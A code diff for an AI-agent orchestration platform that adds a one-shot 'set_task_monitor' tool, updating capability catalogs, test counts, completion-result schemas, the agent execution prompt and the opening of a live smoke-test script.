| `search_tasks` | `optional_agent_tool` | `discovery:tasks:read` | `standard`<br>`ask`<br>`planning`<br>`skill_test` | `read` | `none` | no | `snapshot_read:company_tasks` | `scenario` + `live`<br>`live_codex` | `unbound`<br>read projection surfaced via a tool-result item event; no control-plane state diff<br>catalog PRP status: `audit_pending` |
|
||||
| `set_dependencies` | `optional_agent_tool` | `dependencies:write` | `standard`<br>`skill_test` | `company_write` | `required` | no | `semantic_command:set_dependencies` | `scenario` + `live`<br>`live_codex` | `issues.update.blockedByIssueIds`<br>semantic-operation item event plus company-entity state diff and audit record<br>catalog PRP status: `bound` |
|
||||
| `set_task_monitor` | `optional_agent_tool` | none | `standard` | `task_write` | `required` | no | inline/no mapping | `live`<br>`live_codex` | `prepareIssueMonitorUpdate`<br>Transactional persisted issue monitor, audit activity and idempotent run receipt.<br>catalog PRP status: `bound` |
|
||||
| `set_task_title` | `optional_agent_tool` | none | `standard`<br>`ask`<br>`planning`<br>`skill_test` | `task_write` | `required` | no | inline/no mapping | `live`<br>`live_codex` | `setIssueTitle`<br>Run-bound title update and transactional activity record.<br>catalog PRP status: `bound` |
|
||||
| `submit_complaint` | `optional_agent_tool` | none | `standard`<br>`ask`<br>`planning` | `task_write` | `required` | no | inline/no mapping | `live`<br>`live_codex` | `submitAgentCommentary`<br>Run-bound local commentary and transactional activity record.<br>catalog PRP status: `bound` |
|
||||
| `submit_suggestion` | `optional_agent_tool` | none | `standard`<br>`ask`<br>`planning` | `task_write` | `required` | no | inline/no mapping | `live`<br>`live_codex` | `submitAgentCommentary`<br>Run-bound local commentary and transactional activity record.<br>catalog PRP status: `bound` |
|
||||
@@ -194,7 +195,7 @@ Behavior groups describe expected outcomes and trajectories. They do not grant t
|
||||
| [`rf` — Reference files](#behavior-group-rf-reference-files) | always instruction tools + optional domain tools + test-only escape hatch | `list_cases`<br>`upsert_case`<br>`list_routines`<br>`manage_routine`<br>`create_skill`<br>`update_skill`<br>`list_company_skills`<br>`sync_company_skills`<br>`list_secret_metadata`<br>`read_secret_value`<br>`export_company`<br>`administer_company`<br>`generic_api_request`<br>`search_api`<br>`call_api`<br>`create_project`<br>`read_agent_instructions`<br>`update_agent_instructions`<br>`get_agent_instruction_history`<br>`restore_agent_instructions`<br>`submit_complaint`<br>`submit_suggestion` | `append_audit_record` | agent instruction revisions, project, case, routine, company-skill, secret, portability, and administration services, and run-attributed agent commentary | `company`<br>`cases`<br>`routines`<br>`skills`<br>`secrets`<br>`audit`<br>`fault` | 22 | bounded domain projections, redacted broker receipts, company diffs, and audit references | Instruction read/update/history/restore require the live canonical revision service, current responsible-user permissions, and pinned base revisions for writes. Their service, authority, and product E2E tests are separate from the legacy mock scenarios. Project and skill creation and API tools require the live server authority; generic_api_request is test-only and the remaining domain operations are scenario-only. Broad administer_company is deferred and cannot claim product coverage. Production API and paired dedicated-tool regressions are recorded separately in paperclip-evals/evals/runner-api-tools; the legacy scenario count is not evidence of that coverage. Feedback actions are live-only: shared persistence, authority, API, and actual Codex smoke tests cover them; the legacy scenario count does not claim feedback coverage. |
|
||||
| [`mh` — Multi-hop](#behavior-group-mh-multi-hop) | composed semantic operations + control-plane continuation | `create_task`<br>`set_dependencies`<br>`request_human_input`<br>`request_approval`<br>`register_deliverable` | `route_wake`<br>`reconcile_run` | delegation, dependency, interaction, approval, artifact, and terminal orchestration services | `task`<br>`blockers`<br>`interactions`<br>`approvals`<br>`artifacts`<br>`wake`<br>`run`<br>`audit` | 4 | correlated operation receipts, state diffs, attention hops, work assessment, status decision, and terminal outcome | No generic transaction tool is allowed; shared mock/real conformance must prove each composed effect. |
|
||||
| [`rs` — Restraint and no-call](#behavior-group-rs-restraint-and-no-call) | policy/exposure layer | `answer_status_question`<br>`read_secret_value`<br>`generic_api_request` | `enforce_budget` | task-mode, secret-broker, test-scope, pause, and budget policy checks | `actor`<br>`task`<br>`budget`<br>`secrets`<br>`audit`<br>`fault` | 3 | absence of forbidden effects plus typed policy denial/redaction receipts when a call is attempted | Typed redaction/authorization receipts need additive v1 evidence; generic_api_request is never a product fallback. |
|
||||
| [`wk` — Wake situations](#behavior-group-wk-wake-situations) | control plane + always context/history tools | `get_task_context`<br>`get_task_history`<br>`schedule_wake` | `select_work`<br>`route_wake` | wakeup requests, heartbeat context, comment/interaction/approval/blocker wake routing, and scheduled wake services | `wake`<br>`task`<br>`comments`<br>`interactions`<br>`approvals`<br>`blockers`<br>`run` | 8 | attention request routing/resolution plus resumed session/run causality | Production scheduling binding is unbound; control-plane routing remains non-callable. |
|
||||
| [`wk` — Wake situations](#behavior-group-wk-wake-situations) | control plane + always context/history tools | `get_task_context`<br>`get_task_history`<br>`schedule_wake`<br>`set_task_monitor` | `select_work`<br>`route_wake` | wakeup requests, heartbeat context, comment/interaction/approval/blocker wake routing, and scheduled wake services | `wake`<br>`task`<br>`comments`<br>`interactions`<br>`approvals`<br>`blockers`<br>`run` | 8 | attention request routing/resolution plus resumed session/run causality | set_task_monitor binds the one-shot monitor scheduler in production; schedule_wake remains mock-backed. Control-plane routing remains non-callable. |
|
||||
|
||||
### Scenario links
|
||||
|
||||
@@ -468,10 +469,10 @@ Current responsibility-based paths are normative. Numbered `phase-*` or mileston
|
||||
### Catalog split and deliberate replacement
|
||||
|
||||
- Scenario/eval catalog: **40** operations.
|
||||
- Live dispatcher catalog: **44** operations.
|
||||
- Shared: **28**; union/canonical authority: **56**.
|
||||
- Live dispatcher catalog: **45** operations.
|
||||
- Shared: **28**; union/canonical authority: **57**.
|
||||
- Scenario-only: `administer_company`, `export_company`, `inspect_operation_result`, `list_cases`, `list_company_skills`, `list_goals`, `list_routines`, `list_secret_metadata`, `manage_routine`, `read_secret_value`, `sync_company_skills`, `upsert_case`.
|
||||
- Live-only: `call_api`, `create_project`, `get_agent`, `get_agent_instruction_history`, `get_approval`, `get_approval_context`, `hire_agent`, `list_project_repositories`, `read_agent_instructions`, `restore_agent_instructions`, `schedule_wake`, `search_api`, `set_task_title`, `submit_complaint`, `submit_suggestion`, `update_agent_instructions`.
|
||||
- Live-only: `call_api`, `create_project`, `get_agent`, `get_agent_instruction_history`, `get_approval`, `get_approval_context`, `hire_agent`, `list_project_repositories`, `read_agent_instructions`, `restore_agent_instructions`, `schedule_wake`, `search_api`, `set_task_monitor`, `set_task_title`, `submit_complaint`, `submit_suggestion`, `update_agent_instructions`.
|
||||
- The generated provider contract contains exactly the live catalog; the canonical union remains the migration authority until all scenario-only operations are either implemented, deferred, or removed by an explicit reconciliation decision.
|
||||
- `generic_api_request` stays exported only for controlled tests and cannot be cited as real-surface, mock-parity, or PRP product coverage.
|
||||
|
||||
|
||||
@@ -76,7 +76,8 @@ describe("native runtime context files", () => {
|
||||
}
|
||||
expect(PRP_COMPLETION_TOOL_DESCRIPTION).toContain("do not claim completion while gated");
|
||||
expect(PRP_COMPLETION_TOOL_DESCRIPTION).toContain("supplied link and action");
|
||||
expect(PRP_COMPLETION_TOOL_DESCRIPTION).toContain("explicit wait for the next response");
|
||||
expect(PRP_COMPLETION_TOOL_DESCRIPTION).toContain("yielded with response_wake for a response");
|
||||
expect(PRP_COMPLETION_TOOL_DESCRIPTION).toContain("monitor after set_task_monitor confirms a schedule on this task");
|
||||
expect(PRP_BLOCK_TOOL_DESCRIPTION).toContain("its owner, and the action needed to unblock it");
|
||||
expect(constraints).not.toContain(
|
||||
"final response exactly once before invoking",
|
||||
|
||||
@@ -20,9 +20,9 @@ describe("canonical semantic-catalog reconciliation authority", () => {
|
||||
it("pins the reconciled op-set relationship between the two catalogs", () => {
|
||||
const summary = capabilityCatalogReconciliation();
|
||||
expect(summary.scenarioCount).toBe(40);
|
||||
expect(summary.liveCount).toBe(44);
|
||||
expect(summary.liveCount).toBe(45);
|
||||
expect(summary.sharedCount).toBe(28);
|
||||
expect(summary.unionCount).toBe(56);
|
||||
expect(summary.unionCount).toBe(57);
|
||||
// Any operation added to or removed from either catalog without a
|
||||
// reconciliation decision changes these exact sets and fails the gate.
|
||||
expect(summary.liveOnly).toEqual([
|
||||
@@ -38,6 +38,7 @@ describe("canonical semantic-catalog reconciliation authority", () => {
|
||||
"restore_agent_instructions",
|
||||
"schedule_wake",
|
||||
"search_api",
|
||||
"set_task_monitor",
|
||||
"set_task_title",
|
||||
"submit_complaint",
|
||||
"submit_suggestion",
|
||||
@@ -60,7 +61,7 @@ describe("canonical semantic-catalog reconciliation authority", () => {
|
||||
});
|
||||
|
||||
it("is the single source both catalogs derive their operation set from", () => {
|
||||
expect(CAPABILITY_CANONICAL_OPERATIONS).toHaveLength(56);
|
||||
expect(CAPABILITY_CANONICAL_OPERATIONS).toHaveLength(57);
|
||||
const canonicalIds = new Set(CAPABILITY_CANONICAL_OPERATIONS.map((operation) => operation.operationId));
|
||||
// Neither catalog may contain an operation absent from the canonical source.
|
||||
for (const tool of SCENARIO_CATALOG) expect(canonicalIds.has(tool.operationId)).toBe(true);
|
||||
@@ -94,7 +95,7 @@ describe("canonical semantic-catalog reconciliation authority", () => {
|
||||
});
|
||||
|
||||
it("names placement, claims, task modes, side-effect class, idempotency, redaction, mock mapping, real binding status, and PRP evidence for every operation", () => {
|
||||
expect(CAPABILITY_CANONICAL_CATALOG).toHaveLength(56);
|
||||
expect(CAPABILITY_CANONICAL_CATALOG).toHaveLength(57);
|
||||
for (const operation of CAPABILITY_CANONICAL_CATALOG) {
|
||||
expect(operation.placement).toMatch(/^(always|optional)_agent_tool$/);
|
||||
expect(Array.isArray(operation.requiredClaims)).toBe(true);
|
||||
@@ -120,7 +121,7 @@ describe("canonical semantic-catalog reconciliation authority", () => {
|
||||
it("classifies real binding status so generic_api_request is never product coverage", () => {
|
||||
const summary = capabilityCatalogReconciliation();
|
||||
expect(summary.byRealBindingStatus).toEqual({
|
||||
live_codex: 43,
|
||||
live_codex: 44,
|
||||
scenario_mock: 12,
|
||||
test_only: 1,
|
||||
});
|
||||
|
||||
@@ -69,7 +69,8 @@ describe("semantic action catalog", () => {
|
||||
(action) => action.operationId,
|
||||
);
|
||||
|
||||
expect(operationIds).toHaveLength(36);
|
||||
expect(operationIds).toHaveLength(37);
|
||||
expect(operationIds).toContain("set_task_monitor");
|
||||
expect(new Set(operationIds).size).toBe(operationIds.length);
|
||||
expect(operationIds).not.toContain("generic_api_request");
|
||||
expect(Object.isFrozen(PAPERCLIP_SEMANTIC_ACTION_CATALOG)).toBe(true);
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { setTaskMonitorInputSchema } from "../protocol-actions/set-task-monitor.js";
|
||||
import { listProjectsDescription, listProjectsInputSchema } from "../protocol-actions/list-projects.js";
|
||||
import { setTaskTitleAction } from "../protocol-actions/set-task-title.js";
|
||||
import { reassignTaskAction } from "../protocol-actions/reassign-task.js";
|
||||
@@ -583,6 +584,12 @@ const descriptors: readonly PaperclipSemanticActionDescriptor[] = [
|
||||
),
|
||||
outputSchema: operationReceipt,
|
||||
}),
|
||||
descriptor({
|
||||
operationId: "set_task_monitor", title: "Set task monitor",
|
||||
description: "Schedule, replace or clear a persisted one-shot monitor on an owned task.",
|
||||
placement: "optional", effect: "write", requiredClaims: [], allowedModes: ["standard"],
|
||||
inputSchema: setTaskMonitorInputSchema, outputSchema: openObject,
|
||||
}),
|
||||
descriptor({
|
||||
operationId: "schedule_wake",
|
||||
title: "Schedule bounded wake",
|
||||
|
||||
@@ -2,6 +2,7 @@ export type PaperclipSemanticActionId =
|
||||
| "search_api"
|
||||
| "call_api"
|
||||
| "set_task_title"
|
||||
| "set_task_monitor"
|
||||
| "get_task_context"
|
||||
| "get_task_history"
|
||||
| "list_documents"
|
||||
|
||||
@@ -31,6 +31,17 @@ describe("provider-neutral completion result schema", () => {
|
||||
const validate = new Ajv2020({ allErrors: true, strict: false })
|
||||
.compile(PRP_COMPLETION_RESULT_OUTPUT_SCHEMA);
|
||||
|
||||
it("accepts an explicit monitor wait across provider and normalized schemas", () => {
|
||||
const report = { ...baseResult, reportedWorkDisposition: "yielded",
|
||||
completionClaim: { ...baseResult.completionClaim, objectiveSatisfied: false,
|
||||
remainingWork: [{ description: "Check the next run", blocksCompletion: true }] },
|
||||
continuation: { kind: "monitor", summary: "Wait for persisted timer", idempotencyKey: "monitor-wait" } };
|
||||
expect(validate(report)).toBe(true);
|
||||
const providerValidate = new Ajv2020({ allErrors: true, strict: false }).compile(PRP_COMPLETION_RESULT_PROVIDER_INPUT_SCHEMA);
|
||||
expect(providerValidate(report)).toBe(true);
|
||||
expect(validate({ ...report, continuation: { ...report.continuation, kind: "invented" } })).toBe(false);
|
||||
});
|
||||
|
||||
it("allows done with no verification and no actionable attention", () => {
|
||||
expect(validate(structuredClone(baseResult))).toBe(true);
|
||||
});
|
||||
|
||||
@@ -3,7 +3,7 @@ export const PRP_COMPLETION_TOOL_NAME = "paperclip_finish" as const;
|
||||
export const PRP_BLOCK_TOOL_NAME = "paperclip_block" as const;
|
||||
/** Native Runner guidance; legacy adapters use their own skill/API completion paths. */
|
||||
export const PRP_COMPLETION_TOOL_DESCRIPTION =
|
||||
"Report completed work (done), work requiring review (needs_review), or an explicit wait for the next response (yielded with response_wake). Use the current completion contract and supporting evidence. If rejected, correct the report and retry. After acceptance, read the returned outcome; do not claim completion while gated. Explain any required approval with its supplied link and action, then write the final response and end the turn without further tool calls.";
|
||||
"Report completed work (done), work requiring review (needs_review), or an explicit wait (yielded with response_wake for a response, or monitor after set_task_monitor confirms a schedule on this task). Use the current completion contract and supporting evidence. If rejected, correct the report and retry. After acceptance, read the returned outcome; do not claim completion while gated. Explain any required approval with its supplied link and action, then write the final response and end the turn without further tool calls.";
|
||||
export const PRP_BLOCK_TOOL_DESCRIPTION =
|
||||
"Report work that cannot continue because of a concrete blocker. Identify the blocker, its owner, and the action needed to unblock it; use the current completion contract and supporting evidence. If rejected, correct the report and retry. After acceptance, read the returned outcome, explain the blocker and any required action in the final response, and end the turn without further tool calls.";
|
||||
export const PRP_SEMANTIC_TOOL_NAMES = [
|
||||
@@ -144,14 +144,14 @@ const artifactsSchema = {
|
||||
},
|
||||
} as const;
|
||||
|
||||
const responseWakeContinuationSchema = {
|
||||
const waitContinuationSchema = {
|
||||
type: "object",
|
||||
description:
|
||||
"Required when reportedWorkDisposition is yielded. Wait for the next response without scheduling work; include kind, summary, and a stable idempotencyKey.",
|
||||
"Required when reportedWorkDisposition is yielded. Use response_wake for a response wait, or monitor only after a real monitor is persisted on the current task. Include kind, summary, and a stable idempotencyKey.",
|
||||
additionalProperties: false,
|
||||
required: ["kind", "summary", "idempotencyKey"],
|
||||
properties: {
|
||||
kind: { type: "string", const: "response_wake" },
|
||||
kind: { type: "string", enum: ["response_wake", "monitor"] },
|
||||
summary: {
|
||||
type: "string",
|
||||
minLength: 1,
|
||||
@@ -192,7 +192,7 @@ export const PRP_COMPLETION_RESULT_OUTPUT_SCHEMA = {
|
||||
properties: {
|
||||
...commonResultProperties,
|
||||
reportedWorkDisposition: { enum: ["done", "needs_review", "yielded"] },
|
||||
continuation: responseWakeContinuationSchema,
|
||||
continuation: waitContinuationSchema,
|
||||
},
|
||||
allOf: [
|
||||
{
|
||||
@@ -367,10 +367,10 @@ export const PRP_COMPLETION_RESULT_PROVIDER_INPUT_SCHEMA = {
|
||||
// tool calls. Give non-yielding results an explicit absence value instead
|
||||
// of forcing callers to invent a response-wake continuation.
|
||||
continuation: {
|
||||
...responseWakeContinuationSchema,
|
||||
...waitContinuationSchema,
|
||||
type: ["object", "null"],
|
||||
description:
|
||||
"Use null or omit this field for done, completed, or needs_review. Only yielded requires a response-wake object with kind, summary, and idempotencyKey.",
|
||||
"Use null or omit this field for done, completed, or needs_review. Only yielded requires a wait object with kind (response_wake or monitor), summary, and idempotencyKey.",
|
||||
},
|
||||
},
|
||||
// Keep the provider-facing root a concrete object. Codex code-mode renders a
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import { createHash } from "node:crypto";
|
||||
|
||||
export const NATIVE_RUNTIME_ASSET_SCHEMA = "paperclip.runtime-asset.v1" as const;
|
||||
export const PAPERCLIP_EXECUTION_PROMPT_REVISION = "paperclip-execution.v5" as const;
|
||||
export const PAPERCLIP_EXECUTION_PROMPT = "You are running as a Paperclip agent. Complete the assigned task in the provided execution environment. Follow the attached agent instructions and use assigned skills and tools when relevant. Use Paperclip tools for coordination. To hire or reuse a persistent teammate, use list_agents, then search_api for agent-hires and call_api if a hire is needed. Provider helper threads do not create Paperclip agents. When the user assigns work or a revision to a teammate, use create_task with that agent's ID; review their result rather than doing their assigned work yourself. When remaining work depends on a child task, use set_dependencies to add its ID while preserving existing blocker IDs. Complete independent work, then call paperclip_block with the child agent as owner and child completion as the unblock action. End the turn so the child can use the workspace. Do not sleep or poll for child results while holding the workspace. Paperclip resumes the parent when the dependency completes. When the user asks to connect a service, call connections_search before any service tool, even when that tool is already installed. Follow the returned instruction and wait for any required user choice before executing. For other tasks needing a service, use installed tools if available; otherwise use connections_search and follow its instruction. The request appears as a card in the task. Finish independent work before yielding for access; do not poll or request the same connection repeatedly. Paperclip will continue automatically with updated tools after resolution. After a decline, pursue alternatives unless the user explicitly asks to retry. Finish exactly once with `paperclip_finish` or `paperclip_block`." as const;
|
||||
export const PAPERCLIP_EXECUTION_PROMPT_REVISION = "paperclip-execution.v6" as const;
|
||||
export const PAPERCLIP_EXECUTION_PROMPT = "You are running as a Paperclip agent. Complete the assigned task in the provided execution environment. Follow the attached agent instructions and use assigned skills and tools when relevant. Use Paperclip tools for coordination. To hire or reuse a persistent teammate, use list_agents, then search_api for agent-hires and call_api if a hire is needed. Provider helper threads do not create Paperclip agents. When the user assigns work or a revision to a teammate, use create_task with that agent's ID; review their result rather than doing their assigned work yourself. When remaining work depends on a child task, use set_dependencies to add its ID while preserving existing blocker IDs. Complete independent work, then call paperclip_block with the child agent as owner and child completion as the unblock action. End the turn so the child can use the workspace. Do not sleep or poll for child results while holding the workspace. Paperclip resumes the parent when the dependency completes. When the user asks to connect a service, call connections_search before any service tool, even when that tool is already installed. Follow the returned instruction and wait for any required user choice before executing. For other tasks needing a service, use installed tools if available; otherwise use connections_search and follow its instruction. The request appears as a card in the task. Finish independent work before yielding for access; do not poll or request the same connection repeatedly. Paperclip will continue automatically with updated tools after resolution. After a decline, pursue alternatives unless the user explicitly asks to retry. For a deferred check you own, call set_task_monitor with a future nextCheckAt and notes. Confirm the persisted schedule on the current task, then call paperclip_finish with reportedWorkDisposition yielded and continuation.kind monitor. End the turn; the one-shot monitor wakes you with issue_monitor_due. Re-arm explicitly only if another check is needed. Do not claim a monitor exists without its receipt. Finish exactly once with `paperclip_finish` or `paperclip_block`." as const;
|
||||
|
||||
export interface NativeRuntimeAssetReference {
|
||||
schema: typeof NATIVE_RUNTIME_ASSET_SCHEMA;
|
||||
|
||||
@@ -264,7 +264,8 @@ export function codexToolAcceptsResult(
|
||||
return false;
|
||||
}
|
||||
return result.reportedWorkDisposition !== "yielded"
|
||||
|| result.continuation?.kind === "response_wake";
|
||||
|| result.continuation?.kind === "response_wake"
|
||||
|| result.continuation?.kind === "monitor";
|
||||
}
|
||||
|
||||
export function redactCodexValue(value: unknown, depth = 0): unknown {
|
||||
|
||||
@@ -205,7 +205,7 @@ async function handleServerRequestBody(
|
||||
text:
|
||||
tool === CODEX_BLOCK_TOOL_NAME
|
||||
? "paperclip_block requires reportedWorkDisposition=blocked."
|
||||
: "paperclip_finish accepts done, needs_review, or yielded with a response_wake continuation.",
|
||||
: "paperclip_finish accepts done, needs_review, or yielded with a response_wake or persisted monitor continuation.",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
@@ -466,13 +466,13 @@ describe("workflow reports and stress traceability", () => {
|
||||
candidateFailures: 36,
|
||||
});
|
||||
expect(report.coverage).toMatchObject({
|
||||
canonicalOperations: 56,
|
||||
canonicalOperations: 57,
|
||||
capabilityCases: 106,
|
||||
workflows: 12,
|
||||
stressFindings: 44,
|
||||
stressExclusions: 1,
|
||||
});
|
||||
expect(report.coverage.operations).toHaveLength(56);
|
||||
expect(report.coverage.operations).toHaveLength(57);
|
||||
expect(report.coverage.composedWorkflows).toHaveLength(12);
|
||||
expect(
|
||||
report.coverage.operations.find(
|
||||
@@ -480,7 +480,7 @@ describe("workflow reports and stress traceability", () => {
|
||||
)?.workflowIds.length,
|
||||
).toBeGreaterThan(0);
|
||||
expect(renderRunnerWorkflowMarkdown(report)).toContain(
|
||||
"56 operations · 106 capability cases · 12 workflows",
|
||||
"57 operations · 106 capability cases · 12 workflows",
|
||||
);
|
||||
expect(renderRunnerWorkflowJUnit(report)).toContain(
|
||||
'tests="36" failures="36" skipped="0"',
|
||||
|
||||
@@ -114,12 +114,12 @@ function dispositionIssues(
|
||||
} else if (result.reportedWorkDisposition === "yielded") {
|
||||
if (
|
||||
result.blocker !== undefined ||
|
||||
result.continuation?.kind !== "response_wake"
|
||||
!["response_wake", "monitor"].includes(result.continuation?.kind ?? "")
|
||||
) {
|
||||
issues.push({
|
||||
code: "invalid_disposition",
|
||||
path: "/reportedWorkDisposition",
|
||||
message: "yielded requires a response_wake continuation and must not include a blocker",
|
||||
message: "yielded requires a response_wake or monitor continuation and must not include a blocker",
|
||||
});
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { setTaskMonitorAction } from "./set-task-monitor.js";
|
||||
import { setTaskTitleAction } from "./set-task-title.js";
|
||||
import { submitComplaintAction, submitSuggestionAction } from "./submit-agent-commentary.js";
|
||||
import { readAgentInstructionsAction } from "./read-agent-instructions.js";
|
||||
@@ -57,6 +58,7 @@ import { deepFreezeProtocolAction } from "./freeze.js";
|
||||
|
||||
export const PAPERCLIP_PROTOCOL_ACTIONS = deepFreezeProtocolAction([
|
||||
setTaskTitleAction,
|
||||
setTaskMonitorAction,
|
||||
submitComplaintAction,
|
||||
submitSuggestionAction,
|
||||
readAgentInstructionsAction,
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
/** Production monitor tool; timers and wake delivery belong to Paperclip. */
|
||||
const description = "Schedule, replace, or clear a one-shot task monitor. Omit taskId for your current task; other tasks must also be assigned to you and in progress or review. Supply a future nextCheckAt and notes describing the next check, or monitor: null to clear. A successful receipt reports the persisted monitor; a replay reports its current state without re-arming it. After scheduling your current task, end the turn with paperclip_finish: yielded and continuation.kind monitor. Paperclip will wake you with issue_monitor_due; do not sleep, poll, mark done, or use call_api for this wait.";
|
||||
|
||||
export const setTaskMonitorInputSchema = {
|
||||
type: "object",
|
||||
additionalProperties: false,
|
||||
required: ["idempotencyKey", "monitor"],
|
||||
properties: {
|
||||
taskId: { type: "string", description: "Owned task UUID. Omit for the active task." },
|
||||
idempotencyKey: { type: "string", minLength: 1, maxLength: 240, description: "Reuse with identical arguments on retries." },
|
||||
monitor: {
|
||||
type: ["object", "null"],
|
||||
additionalProperties: false,
|
||||
required: ["nextCheckAt", "notes"],
|
||||
properties: {
|
||||
nextCheckAt: { type: "string", description: "Future UTC timestamp for the next check. This is one shot, not a recurring interval." },
|
||||
notes: { type: "string", minLength: 1, maxLength: 500, description: "What to check on the next run; do not include secrets." },
|
||||
kind: { type: ["string", "null"], enum: ["external_service", null] },
|
||||
serviceName: { type: ["string", "null"], minLength: 1, maxLength: 120 },
|
||||
externalRef: { type: ["string", "null"], minLength: 1, maxLength: 500 },
|
||||
timeoutAt: { type: ["string", "null"], description: "Optional deadline later than nextCheckAt." },
|
||||
maxAttempts: { type: ["integer", "null"], minimum: 1, maximum: 100, description: "Optional cumulative attempt limit for this task's monitor." },
|
||||
recoveryPolicy: { type: ["string", "null"], enum: ["wake_owner", "create_recovery_issue", "escalate_to_board", null] },
|
||||
},
|
||||
},
|
||||
},
|
||||
} as const;
|
||||
|
||||
export const setTaskMonitorAction = {
|
||||
id: "set_task_monitor",
|
||||
canonical: {
|
||||
operationId: "set_task_monitor", surfaces: ["live"], placement: "optional_agent_tool",
|
||||
optionalGroup: "wake_scheduling", requiredClaims: [], taskModes: ["standard"],
|
||||
sideEffectClass: "task_write", idempotency: "required", disabledByDefault: false,
|
||||
realBindingStatus: "live_codex", realServiceBinding: "prepareIssueMonitorUpdate",
|
||||
prpEvidence: "Transactional persisted issue monitor, audit activity and idempotent run receipt.",
|
||||
prpBindingStatus: "bound", legacyAliases: [],
|
||||
},
|
||||
documentation: { title: "Set task monitor", description, note: null },
|
||||
examples: {
|
||||
call: { operationId: "set_task_monitor", input: { idempotencyKey: "check-ci", monitor: { nextCheckAt: "2030-01-01T12:00:00Z", notes: "Check the pending CI run." } } },
|
||||
scenarioCall: null,
|
||||
success: { ok: true, operationId: "set_task_monitor", result: { taskId: "task-1", status: "in_progress", monitor: { nextCheckAt: "2030-01-01T12:00:00Z", status: "scheduled" }, replayed: false } },
|
||||
},
|
||||
live: {
|
||||
order: 51,
|
||||
descriptor: {
|
||||
schema: "paperclip.semantic-tool.v1", operationId: "set_task_monitor", version: 1,
|
||||
title: "Set task monitor", description, exposure: "optional", requiredClaims: [],
|
||||
allowedModes: ["standard"], inputSchema: setTaskMonitorInputSchema,
|
||||
outputSchema: { type: "object", additionalProperties: true },
|
||||
},
|
||||
},
|
||||
scenario: null,
|
||||
} as const;
|
||||
@@ -21,6 +21,7 @@ const MAX_DISCOVERY_RESULTS = 10;
|
||||
|
||||
const NAMESPACE: Readonly<Record<CapabilitySemanticOperationId, string>> = Object.freeze({
|
||||
set_task_title: "active_task",
|
||||
set_task_monitor: "continuation",
|
||||
search_api: "api_fallback",
|
||||
call_api: "api_fallback",
|
||||
get_task_context: "active_task", get_task_history: "active_task",
|
||||
|
||||
@@ -13,6 +13,7 @@ import type {
|
||||
const NAMESPACE: Readonly<Record<PaperclipSemanticActionId, string>> =
|
||||
Object.freeze({
|
||||
set_task_title: "active_task",
|
||||
set_task_monitor: "continuation",
|
||||
search_api: "api_fallback",
|
||||
call_api: "api_fallback",
|
||||
get_task_context: "active_task",
|
||||
|
||||
@@ -113,7 +113,8 @@ describe("Capability semantic catalog and authorization", () => {
|
||||
it("publishes a stable narrow catalog without credentials or control-plane-owned tools", () => {
|
||||
const names = CAPABILITY_SEMANTIC_TOOL_CATALOG.map((tool) => tool.operationId);
|
||||
expect(new Set(names).size).toBe(names.length);
|
||||
expect(names).toHaveLength(44);
|
||||
expect(names).toHaveLength(45);
|
||||
expect(names).toContain("set_task_monitor");
|
||||
expect(names).toEqual(expect.arrayContaining(["submit_complaint", "submit_suggestion"]));
|
||||
expect(names).toContain("get_task_context");
|
||||
expect(names).toContain("finish_task");
|
||||
|
||||
@@ -19,6 +19,7 @@ export type CapabilitySemanticOperationId =
|
||||
| "search_api"
|
||||
| "call_api"
|
||||
| "set_task_title"
|
||||
| "set_task_monitor"
|
||||
| "get_task_context"
|
||||
| "get_task_history"
|
||||
| "list_documents"
|
||||
|
||||
@@ -1989,6 +1989,7 @@ export {
|
||||
updateIssueSchema,
|
||||
stalledReviewDecisionSchema,
|
||||
issueExecutionPolicySchema,
|
||||
issueExecutionMonitorPolicySchema,
|
||||
issueExecutionStateSchema,
|
||||
resolveIssueRecoveryActionSchema,
|
||||
retryWorkspaceExportSchema,
|
||||
|
||||
@@ -435,6 +435,7 @@ export {
|
||||
updateIssueSchema,
|
||||
stalledReviewDecisionSchema,
|
||||
issueExecutionPolicySchema,
|
||||
issueExecutionMonitorPolicySchema,
|
||||
issueExecutionStateSchema,
|
||||
issueRecoveryActionReadModelSchema,
|
||||
resolveIssueRecoveryActionSchema,
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/** Opt-in live qualification: creates an isolated database/workspace and spends two Codex turns.
|
||||
* PATH=<pnpm-bin>:<codex-bin>:$PATH node --import tsx server/scripts/smoke-native-task-monitor.ts --run
|
||||
*/
|
||||
import assert from "node:assert/strict";
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { mkdtemp, mkdir, writeFile } from "node:fs/promises";
|
||||
import { createServer } from "node:http";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { setTimeout as delay } from "node:timers/promises";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
|
||||
if (!process.argv.includes("--run")) throw new Error("Pass --run to authorize the live two-turn Codex smoke.");
|
||||
const root = await mkdtemp(join(tmpdir(), "paperclip-live-task-monitor-"));
|
||||
process.env.PAPERCLIP_HOME = join(root, "paperclip");
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "monitor-smoke";
|
||||
process.env.PAPERCLIP_TELEMETRY_ENABLED = "false";
|
||||
const { createDb, companies, agents, authUsers, companyMemberships, issues, heartbeatRuns, agentWakeupRequests, nativeRunResults, statusDecisions } = await import("@paperclipai/db");
|
||||
const { startEmbeddedPostgresTestDatabase } = await import("../src/__tests__/helpers/embedded-postgres.js");
|
||||
const { heartbeatService } = await import("../src/services/heartbeat.js");
|
||||
const { setupRunnerPrpWebSocketServer, runnerPrpWebSocketInternals } = await import("../src/realtime/runner-prp-ws.js");
|
||||
const { closeIdleWarmNativeSessionsForRestart } = await import("../src/services/native-runtime/native-session-executor.js");
|
||||
const temporary = await startEmbeddedPostgresTestDatabase("live-task-monitor-");
|
||||
const db = createDb(temporary.connectionString);
|
||||
const server = createServer();
|
||||
await new Promise<void>(resolve => server.listen(0, "127.0.0.1", resolve));
|
||||
const address = server.address();
|
||||
if (!address || typeof address === "string") throw new Error("TCP listener missing");
|
||||
process.env.PAPERCLIP_API_URL = `http://127.0.0.1:${address.port}`;
|
||||
setupRunnerPrpWebSocketServer(server, { apiUrl: process.env.PAPERCLIP_API_URL });
|
||||
const companyId = randomUUID(), agentId = randomUUID(), issueId = randomUUID();
|
||||
const heartbeat = heartbeatService(db);
|
||||
